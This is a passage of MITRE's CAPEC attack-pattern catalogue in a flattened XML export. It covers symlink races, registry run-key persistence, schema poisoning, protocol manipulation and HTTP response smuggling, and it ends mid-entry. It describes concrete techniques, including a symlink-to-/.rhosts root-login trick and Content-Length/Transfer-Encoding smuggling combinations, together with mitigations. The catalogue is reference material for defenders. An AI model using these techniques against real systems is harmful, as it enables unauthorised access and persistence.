&lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The directory /tmp is world-writable. The malicious user creates a symbolic link to the file /.rhosts named /tmp/foo. Then, they invokes foo with "user" as the requested account. The program creates the (temporary) file /tmp/foo (really creating /.rhosts) and puts the requested account (e.g. "user password")) in it. It removes the temporary file (merely removing the symbolic link).&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Now the /.rhosts contains + +, which is the incantation necessary to allow anyone to use rlogin to log into the computer as the superuser.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;[REF-115]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">GNU "ed" utility (before 0.3) allows local users to overwrite arbitrary files via a symlink attack on temporary files, possibly in the open_sbuf function. See also: CVE-2006-6939</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">OpenmosixCollector and OpenMosixView in OpenMosixView 1.5 allow local users to overwrite or delete arbitrary files via a symlink attack on (1) temporary files in the openmosixcollector directory or (2) nodes.tmp. See also: CVE-2005-0894</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. See also: CVE-2000-0972</xhtml:div> + + + + + 367 + + + + + 61 + + + + + 662 + + + + + 689 + + + + + 667 + + + + + + + + + + + + #indReferenceReference15201 + Reference_15201 + + + + + + + + + REF-115 + + + + + Symlink race + + + + + + + + + + + + #indReferenceReference15202 + Reference_15202 + + + + + + + + + REF-116 + + + + + + + + + + + + #indContentHistoryContentHistory15204 + Content_History_15204 + + + + + + + + + + + + + + + + #indSubmissionSubmission15205 + Submission_15205 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification15210 + Modification_15210 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification15216 + Modification_15216 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, Examples-Instances + + + + + + + + + + + + #indModificationModification15222 + Modification_15222 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification15228 + Modification_15228 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Example_Instances + + + + + + + + + + + + #CAPEC-270 + Modification of Registry Run Keys + + + + + + + + + 270 + + + + + Modification of Registry Run Keys + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary adds a new entry to the "run keys" in the Windows registry so that an application of their choosing is executed when a user logs in. In this way, the adversary can get their executable to operate and run on the target system with the authorized user's level of permissions. This attack is a good way for an adversary to run persistent spyware on a user's machine, such as a keylogger.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15242 + Related_Attack_Pattern_15242 + + + + + + + + + + + + + + 203 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15243 + Related_Attack_Pattern_15243 + + + + + + + + + + + + + + 568 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15244 + Related_Attack_Pattern_15244 + + + + + + + + + + + + + + 529 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15245 + Related_Attack_Pattern_15245 + + + + + + + + + + + + + + 646 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15246 + Related_Attack_Pattern_15246 + + + + + + + + + + + + + + 555 + + + + + + + + + + + + #indAttackStepAttackStep15249 + Attack_Step_15249 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target system] The adversary must first determine the system they wish to target. This attack only works on Windows.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15254 + Attack_Step_15254 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Gain access to the system] The adversary needs to gain access to the system in some way so that they can modify the Windows registry.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gain physical access to a system either through shoulder surfing a password or accessing a system that is left unlocked.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gain remote access to a system through a variety of means.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15261 + Attack_Step_15261 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Modify Windows registry] The adversary will modify the Windows registry by adding a new entry to the "run keys" referencing a desired program. This program will be run whenever the user logs in.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence15271 + Consequence_15271 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify programs that may be used to acquire process information and block them by using a software restriction policy or tools that restrict program execution by using a process allowlist.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can place a malicious executable (RAT) on the target system and then configure it to automatically run when the user logs in to maintain persistence on the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Through the modification of registry "run keys" the adversary can masquerade a malicious executable as a legitimate program.</xhtml:div> + + + + + 15 + + + + + + + + + + + + #indTaxonomyMappingBootOrLogonAutostartExecutionRegistryRunKeysOrStartFolder + Boot or Logon Autostart Execution: Registry Run Keys / Start Folder + + + + + + + + + + + + + + 1547.001 + + + + + Boot or Logon Autostart Execution: Registry Run Keys / Start Folder + + + + + + + + + + + + #indTaxonomyMappingBootOrLogonAutostartExecutionActive + Boot or Logon Autostart Execution: Active + + + + + + + + + + + + + + 1547.014 + + + + + Boot or Logon Autostart Execution: Active + + + + + + + + + + + + #indContentHistoryContentHistory15297 + Content_History_15297 + + + + + + + + + + + + + + + + #indSubmissionSubmission15298 + Submission_15298 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification15303 + Modification_15303 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification15309 + Modification_15309 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Examples-Instances, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification15315 + Modification_15315 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification15321 + Modification_15321 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Mitigations, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification15327 + Modification_15327 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification15333 + Modification_15333 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-271 + Schema Poisoning + + + + + + + + + 271 + + + + + Schema Poisoning + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary corrupts or modifies the content of a schema for the purpose of undermining the security of the target. Schemas provide the structure and content definitions for resources used by an application. By replacing or modifying a schema, the adversary can affect how the application handles or interprets a resource, often leading to possible denial of service, entering into an unexpected state, or recording incomplete data.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15346 + Related_Attack_Pattern_15346 + + + + + + + + + + + + + + 176 + + + + + 437 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15350 + Related_Attack_Pattern_15350 + + + + + + + + + + + + + + 94 + + + + + + + + + + + + #indAttackStepAttackStep15353 + Attack_Step_15353 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find target application and schema] The adversary first finds the application that they want to target. This application must use schemas in some way, so the adversary also needs to confirm that schemas are being used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gain access to the system that the application is on and look for a schema.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Observe HTTP traffic to the application and look for a schema being transmitted.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15360 + Attack_Step_15360 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Gain access to schema] The adversary gains access to the schema so that they can modify the contents.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For a local scenario, the adversary needs access to the machine that the schema is located on and gain permissions to alter the contents of the schema file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For a remote scenario, the adversary needs to be able to perform an adversary in the middle attack on the HTTP traffic that contains a schema.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15367 + Attack_Step_15367 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Poison schema] Once the adversary gains access to the schema, they will alter it to achieve a desired effect. Locally, they can just modify the file. For remote schemas, the adversary will alter the schema in transit by performing an adversary in the middle attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Cause a denial of service by modifying the schema so that it does not contain required information for subsequent processing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manipulation of the data types described in the schema may affect the results of calculations. For example, a float field could be changed to an int field.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change the encoding defined in the schema for certain fields allowing the contents to bypass filters that scan for dangerous strings. For example, the modified schema might use a URL encoding instead of ASCII, and a filter that catches a semicolon (;) might fail to detect its URL encoding (%3B).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some level of access to modify the target schema.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The schema used by the target application must be improperly secured against unauthorized modification and manipulation.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the schema and the knowledge and ability modify it. Ability to replace or redirect access to the modified schema.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence15384 + Consequence_15384 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful schema poisoning attack can compromise the availability of the target system's service by exhausting its available resources.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence15390 + Consequence_15390 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence15394 + Consequence_15394 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Protect the schema against unauthorized modification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: For applications that use a known schema, use a local copy or a known good repository instead of the schema reference supplied in the schema document.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: For applications that leverage remote schemas, use the HTTPS protocol to prevent modification of traffic in transit and to avoid unauthorized modification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In a JSON Schema Poisoning Attack, an adervary modifies the JSON schema to cause a Denial of Service (DOS) or to submit malicious input:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;{ "title": "Contact", "type": "object", "properties": { "Name": { "type": "string" }, "Phone": { "type": "string" }, "Email": { "type": "string" }, "Address": { "type": "string" } }, "required": ["Name", "Phone", "Email", "Address"] }&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the 'name' attribute is required in all submitted documents and this field is removed by the adversary, the application may enter an unexpected state or record incomplete data. Additionally, if this data is needed to perform additional functions, a Denial of Service (DOS) may occur.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In a Database Schema Poisoning Attack, an adversary alters the database schema being used to modify the database in some way. This can result in loss of data, DOS, or malicious input being submitted. Assuming there is a column named "name", an adversary could make the following schema change:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;ALTER TABLE Contacts MODIFY Name VARCHAR(65353);&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The "Name" field of the "Conteacts" table now allows the storing of names up to 65353 characters in length. This could allow the adversary to store excess data within the database to consume system resource or to execute a DOS.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 15 + + + + + + + + + + + + #indContentHistoryContentHistory15419 + Content_History_15419 + + + + + + + + + + + + + + + + #indSubmissionSubmission15420 + Submission_15420 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification15425 + Modification_15425 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Description, Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification15431 + Modification_15431 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Examples-Instances, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification15437 + Modification_15437 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification15443 + Modification_15443 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification15449 + Modification_15449 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification15455 + Modification_15455 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification15461 + Modification_15461 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-272 + Protocol Manipulation + + + + + + + + + 272 + + + + + Protocol Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary subverts a communications protocol to perform an attack. This type of attack can allow an adversary to impersonate others, discover sensitive information, control the outcome of a session, or perform other attacks. This type of attack targets invalid assumptions that may be inherent in implementers of the protocol, incorrect implementations of the protocol, or vulnerabilities in the protocol itself.</xhtml:div> + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The protocol or implementations thereof must contain bugs that an adversary can exploit.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In some variants of this attack the adversary must be able to intercept communications using the protocol. This means they need to be able to receive the communications from one participant and prevent the other participant from receiving these communications.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory15478 + Content_History_15478 + + + + + + + + + + + + + + + + #indSubmissionSubmission15479 + Submission_15479 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #CAPEC-273 + HTTP Response Smuggling + + + + + + + + + 273 + + + + + HTTP Response Smuggling + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;See CanPrecede relationships for possible consequences.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In the maliciously manipulated HTTP response, an adversary can add duplicate header fields that HTTP agents interpret as belonging to separate responses.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The combined HTTP response ends up being parsed or interpreted as two or more HTTP responses by the targeted client HTTP agent. This allows malicious HTTP responses to bypass security controls. This is performed by the abuse of interpretation and parsing discrepancies in different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) or client HTTP agents (e.g., web browser) in the path of the malicious HTTP responses.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack usually involves the misuse of the HTTP headers: Content-Length and Transfer-Encoding. These abuses are discussed in RFC 2616 #4.4.3 and section #4.2 and are related to ordering and precedence of these headers. [REF-38]&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Additionally this attack can be performed through modification and/or fuzzing of parameters composing the request-line of HTTP messages.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack is usually the result of the usage of outdated or incompatible HTTP protocol versions in the HTTP agents.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This differs from CAPEC-33 HTTP Request Smuggling, which is usually an attempt to compromise a back-end HTTP agent via HTTP Request messages. HTTP Response Smuggling is an attempt to compromise a&lt;xhtml:i&gt;client agent (e.g., web browser)&lt;/xhtml:i&gt;.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;HTTP Splitting (CAPEC-105 and CAPEC-34) is different from HTTP Smuggling due to the fact that during implementation of asynchronous requests, HTTP Splitting requires the embedding/injection of arbitrary HTML headers and content through user input into browser cookies or Ajax web/browser object parameters like XMLHttpRequest.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indAlternateTermHTTPDesync + HTTP Desync + + + + + + + + + HTTP Desync + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modification/manipulation of HTTP message headers, request-line and body parameters to disrupt and interfere in the interpretation and parsing of HTTP message lengths/boundaries for consecutive HTTP messages by HTTP agents in a HTTP chain or network path.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15509 + Related_Attack_Pattern_15509 + + + + + + + + + + + + + + 220 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15510 + Related_Attack_Pattern_15510 + + + + + + + + + + + + + + 33 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15511 + Related_Attack_Pattern_15511 + + + + + + + + + + + + + + 115 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15512 + Related_Attack_Pattern_15512 + + + + + + + + + + + + + + 141 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15513 + Related_Attack_Pattern_15513 + + + + + + + + + + + + + + 63 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15514 + Related_Attack_Pattern_15514 + + + + + + + + + + + + + + 593 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15515 + Related_Attack_Pattern_15515 + + + + + + + + + + + + + + 148 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15516 + Related_Attack_Pattern_15516 + + + + + + + + + + + + + + 154 + + + + + + + + + + + + #indAttackStepAttackStep15519 + Attack_Step_15519 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey network to identify target] The adversary performs network reconnaissance by monitoring relevant traffic to identify the network path and parsing of the HTTP messages with the goal of identifying potential targets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Scan networks to fingerprint HTTP infrastructure and monitor HTTP traffic to identify HTTP network path with a tool such as a Network Protocol Analyzer.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15525 + Attack_Step_15525 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify vulnerabilities in targeted HTTP infrastructure and technologies] The adversary sends a variety of benign/ambiguous HTTP requests to observe responses from HTTP infrastructure to intended targets in order to identify differences/discrepancies in the interpretation and parsing of HTTP requests by examining supported HTTP protocol versions, message sizes, and HTTP headers.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15530 + Attack_Step_15530 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Cause differential HTTP responses by experimenting with identified HTTP Response vulnerabilities] The adversary sends maliciously crafted HTTP request to back-end HTTP infrastructure to inject adversary data into HTTP responses (intended for intermediary and/or front-end client/victim HTTP agents communicating with back-end HTTP infrastructure) for the purpose of interfering with the parsing of HTTP response. The intended consequences of the malicious HTTP request and the subsequent adversary injection and manipulation of HTTP responses will be observed to confirm applicability of identified vulnerabilities in the adversary's plan of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Continue the monitoring of HTTP traffic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Inject additional HTTP headers to utilize various combinations of HTTP Headers within a single HTTP message such as: Content-Length &amp;amp; Transfer-Encoding (CL;TE), Transfer-Encoding &amp;amp; Content-Length (TE;CL), or double Transfer-Encoding (TE;TE), so that additional embedded message or data in the body of the original message are unprocessed and treated as part of subsequent messages by the intended target HTTP agent.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;From these HTTP Header combinations the adversary observes any timing delays (usually in the form of HTTP 404 Error response) or any other unintended consequences.&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;For CL;TE and TE;CL HTTP headers combination, the first HTTP agent, in the HTTP message path that receives the HTTP message, takes precedence or only processes the one header but not the other, while the second/final HTTP agent processes the opposite header allowing for embedded HTTP message to be ignored and smuggled to the intended target HTTP agent.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;For TE;TE HTTP headers combination, all HTTP agents in HTTP message path process Transfer-Encoding header, however, adversary obfuscation of one of the Transfer-Encoding headers, by not adhering strictly to the protocol specification, can cause it to be unprocessed/ignored by a designated HTTP agent, hence allowing embedded HTTP messages to be smuggled. See Mitigations for details.&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Construct a very large HTTP message via multiple Content-Length headers of various data lengths that can potentially cause subsequent messages to be ignored by an intermediary HTTP agent (e.g., firewall) and/or eventually parsed separately by the target HTTP agent.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Note that most modern HTTP infrastructure reject HTTP messages with multiple Content-Length headers.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor HTTP traffic using a tool such as a Network Protocol Analyzer.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15549 + Attack_Step_15549 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Perform HTTP Response Smuggling attack] Using knowledge discovered in the experiment section above, smuggle a message to cause one of the consequences.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage techniques identified in the Experiment Phase.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A vulnerable or compromised server or domain/site capable of allowing adversary to insert/inject malicious content that will appear in the server's response to target HTTP agents (e.g., proxies and users' web browsers).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Differences in the way the two HTTP agents parse and interpret HTTP responses and its headers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP agents running on HTTP/1.1 that allow for Keep Alive mode, Pipelined queries, and Chunked queries and responses.</xhtml:div> + + + + + + + + + + + + #indSkillSkill15562 + Skill_15562 + + + + + + + + + + + + + + Detailed knowledge on HTTP protocol: request and response messages structure and usage of specific headers. + + + + + + + + + + + + #indSkillSkill15563 + Skill_15563 + + + + + + + + + + + + + + Detailed knowledge on how specific HTTP agents 